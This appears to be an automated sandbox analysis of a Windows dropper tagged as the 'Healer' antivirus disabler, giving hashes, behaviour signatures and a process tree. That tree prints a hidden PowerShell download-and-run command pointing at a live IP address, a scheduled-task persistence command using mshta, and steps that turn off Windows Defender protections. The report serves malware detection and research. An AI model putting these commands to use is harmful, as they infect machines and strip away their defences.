Analysis

  • max time kernel
    119s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20250207-en
  • resource tags

    arch:x64arch:x86image:win7-20250207-enlocale:en-usos:windows7-x64system
  • submitted
    12/02/2025, 20:56

General

  • Target

    XEDT1_random.exe

  • Size

    938KB

  • MD5

    6bf55c81166c49ca51a9f3224fe8a8f3

  • SHA1

    efd7bf8fe47a45f024bec4542e087d3c6361bb06

  • SHA256

    f1c3f0ad49ff3fb5241d62695254f26a734123153946fa012283ad0993665e63

  • SHA512

    cc056102f57ab916b57dff8cfffa87684e3dfc20d695d6730e044dffa36c2a63f6864b5e5196d2cab8067f9b6b152f537f6b82dbaf23582e580d393c98b7b876

  • SSDEEP

    24576:OqDEvCTbMWu7rQYlBQcBiT6rprG8aell:OTvC/MTQYxsWR7ael

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.215.113.16/defend/random.exe

Signatures

  • Detects Healer an antivirus disabler dropper 3 IoCs
  • Healer

    Healer an antivirus disabler dropper.

  • Healer family
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 1 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Loads dropped DLL 2 IoCs
  • Windows security modification 2 TTPs 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\XEDT1_random.exe
    "C:\Users\Admin\AppData\Local\Temp\XEDT1_random.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:936
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn MlKlVmaplUg /tr "mshta C:\Users\Admin\AppData\Local\Temp\J78RdIkt2.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2080
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn MlKlVmaplUg /tr "mshta C:\Users\Admin\AppData\Local\Temp\J78RdIkt2.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:1960
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\J78RdIkt2.hta
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:2404
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'ZXVKIDPOXPRVHVZYGEW5HYSVBQGS4U88.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2816
        • C:\Users\Admin\AppData\Local\TempZXVKIDPOXPRVHVZYGEW5HYSVBQGS4U88.EXE
          "C:\Users\Admin\AppData\Local\TempZXVKIDPOXPRVHVZYGEW5HYSVBQGS4U88.EXE"
          4⤵
          • Modifies Windows Defender DisableAntiSpyware settings
          • Modifies Windows Defender Real-time Protection settings
          • Modifies Windows Defender TamperProtection settings
          • Modifies Windows Defender notification settings
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Windows security modification
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2728

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\J78RdIkt2.hta

    Filesize

    726B

    MD5

    08f5f75e22b4675329d1fe7b8458760c

    SHA1

    2b3403b8f13a9db9a1705e4343958609e779c004

    SHA256

    4b5af35d085da05a4d558cfeed396db60d13cf12d4dabb8f5571ef90e38e95ff

    SHA512

    7a3286261650f6a62db69b7b8faa79baf8de1f35901694d1f3b7c7188291b4f58df6de1773a9b0dbcbfb3d6e636e8247dc03112943eda6a6cc2084ea713be2eb

  • \Users\Admin\AppData\Local\TempZXVKIDPOXPRVHVZYGEW5HYSVBQGS4U88.EXE

    Filesize

    1.7MB

    MD5

    3b29e113ece646262a8afe7712828b3f

    SHA1

    3698b91166a8e83e1dea5ace3af22f5d77f2b402

    SHA256

    85f22c26a9c8c05c731325c3921b0ffc5c9bca06434b8523a273e79d82b6eae2

    SHA512

    bcda7ac2400423d06fb30e8880a38757aeb8528e94386831d852b55c8f03b8806e60d45f5c777079aebeba3cf9d9010dcc97eef1c3a9ea3b4f0e8e58ede16476

  • memory/2728-15-0x0000000000E90000-0x00000000012F0000-memory.dmp

    Filesize

    4.4MB

  • memory/2728-16-0x0000000000E90000-0x00000000012F0000-memory.dmp

    Filesize

    4.4MB

  • memory/2728-17-0x0000000000E90000-0x00000000012F0000-memory.dmp

    Filesize

    4.4MB

  • memory/2728-20-0x0000000000E90000-0x00000000012F0000-memory.dmp

    Filesize

    4.4MB

  • memory/2816-14-0x0000000006570000-0x00000000069D0000-memory.dmp

    Filesize

    4.4MB

  • memory/2816-13-0x0000000006570000-0x00000000069D0000-memory.dmp

    Filesize

    4.4MB